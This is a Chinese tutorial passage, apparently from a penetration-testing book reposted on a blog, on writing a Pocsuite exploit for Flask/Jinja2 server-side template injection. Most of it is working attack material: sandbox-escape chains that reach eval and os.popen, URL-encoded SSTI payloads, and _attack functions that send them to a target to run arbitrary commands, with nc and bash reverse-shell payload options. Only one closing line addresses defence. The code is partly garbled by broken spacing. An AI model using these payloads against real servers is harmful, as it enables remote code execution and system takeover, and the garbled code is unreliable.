EXP脚本编写

 

 

EXP脚本的编写与POC脚本编写一样,只需要修改_attack部分,替换成漏洞  利用的脚本即可。要利用Flask漏洞,需要用到Python的特性。关于如何在Jinja2模 板中执行Python代码,官方给出的方法是在模板环境中注册函数就可以进行调

用。

Jinja2模板访问Python的内置变量并调用时,需要用到Python沙盒逃逸方法, 具体参数如下所示。

·__bases__ :以元组返回一个类所直接继承的类。

·__mro__ :以元组返回继承关系链。

·__class__ :返回对象所属的类。

·__globals__ :以dict返回函数所在模块命名空间中的所有变量。

·__subclasses__() :以列表返回类的子类。

·_builtins_ :内建函数。

Python中可以直接运行一些函数,如int() 、list() 等,这些函数可以在  __builtins__ 中查到。查看的方法是dir(__builtins__ )。利用Python的特性,渗透 测试的思路是利用_builtins_ 的特性得到eval ,如下所示:

 

for c in () .__class   .   base__[0] .__subclass__() :

if c .__name__== '_IterationGuard ' :

c .__init   .   globals__[ '__builtins__ '][ 'eval ']("__import__( 'os ') .system ( 'whoami ')")

再将其转为Jinja2语法格式。Jinja2的语法与Python语法相似,但在每个语句 的开始和结束处需要使用{{%%}}括起来,转化后的代码如下所示:

 

{%%20for%20c%20in%20[] .__class   .   base   .   subclass__()%20%}%20{% ' \

'%20if%20c .__name__==%27_IterationGuard%27%20%}%20{{%20c .__init   .   globals__[%27__ builtins__%27] ' \

'[%27eval%27]("__import__(%27os%27) .popen(%27whoami%27 .read()")%20%%}%20{%%20end- if%20%}%20{% ' \

'%20endfor%20%}

最后将此EXP写到_attack方法中,便完成了EXP的编写,如下所示:

 

 

 

 

 

 

 

def __attack(self) :

' ' 'attack mode ' ' '

result = {}

path = "/?name="

url = self.url + path

payload = '{%%20for%20c%20in%20[] .__class   .   base   .   subclass__()%20 %}%20{% ' \

'%20if%20c .__name__==%27_IterationGuard%27%20%}%20{{%20c .__init   .   globals__[%27__ builtins__%27] ' \

'[%27eval%27]("__import__(%27os%27) .popen(%27whoami%27 .read()")%20%%}%20{%%20end-

if%20%}%20{% ' \

'%20endfor%20%} '

try:

resq = requests .get(url + payload)

if resq and resq .status_code == 200 and "www" in resq .text :

result[ 'VerifyInfo '] = {}

result[ 'VerifyInfo '][ 'URL '] = url

result[ 'VerifyInfo '][ 'Name '] = payload

except Exception,e:

pass

return self.parse_output(result)

如此便完成了Pocsuite的POC和EXP编写,程序运行结果如图3-4所示。

33ef49c0c5fa4e9e831c81d29afbc6c9.png

图3-4    Pocsuite利用脚本

利用Pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行 半交互控制,具体实现过程如下所示。

首先,根据官方文档说明,编写一个接收自定义命令的函数,将接收到的命 令赋值给command参数。

 

 

 

 

 

def _options(self) :

o = OrderedDic t()

payload = {

"nc" : REVERSE_PAYLOAD .NC,

"bash" : REVERSE_PAYLOAD .BASH,

}

o["command"] = OptDic t(selected="bash", default=payload)

return o

接下来,创造一个cmd变量,用于接收用户输入的command命令参数,并嵌  入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目 标系统,这样就能够在目标系统中执行命令了。最后,将命令执行结果输出。代 码如下所示:

 

def _attack(self) :

result = {}

path = "?name="

url = self.url + path

#print(url)

cmd = self.get_option("command")

payload = '%7B%25%20for%20c%20in%20%5B%5D .__class   .   base   .   

subclasses__() '\

'%20%25%7D%0A%7B%25%20if%20c .__name__%20%3D%3D%20%27catch_warnings% 27%20%25%7D%0A%20%20%7B%25%20 '\

'for%20b%20in%20c .__init   .   globals__ .values()%20%25%7D%0A%20%20%7B %25%20if%20b.__class__ '\

'%20%3D%3D%20%7B%7D .__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20 %27eval%27%20in%20b.keys() '\

'%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__ ("os") .popen(" '+cmd+ '") .read()%27) '\

'%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif %20%25%7D%0A%20%20%7B%25%20endfor '\

'%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D ' try:

resq = requests .get(url + payload)

t = resq .text

t = t.replace( '\n ', ' ') .replace( '\r ', ' ')

print(t)

t = t.replace(" ","")

result[ 'VerifyInfo '] = {}

result[ 'VerifyInfo '][ 'URL '] = url

result[ 'VerifyInfo '][ 'Name '] = t

except Exception as e:

return

执行命令pocsuite-r 1.py-uhttp://x.x.x.x:8000/--attack--command'id' ,最终效果如 图3-5所示。

 

 

 

 

 

22d356ed110a468a873dbf89701cd752.png

图3-5    执行EXP攻击

Flask漏洞主要利用了框架的特点,在Flask中,“ {{}}” 中的内容会被当作代码 执行,相应的防御中就需要对“ {{}}”进行过滤,禁止此符号传入参数中。

 

  • 24
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyx-0607

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值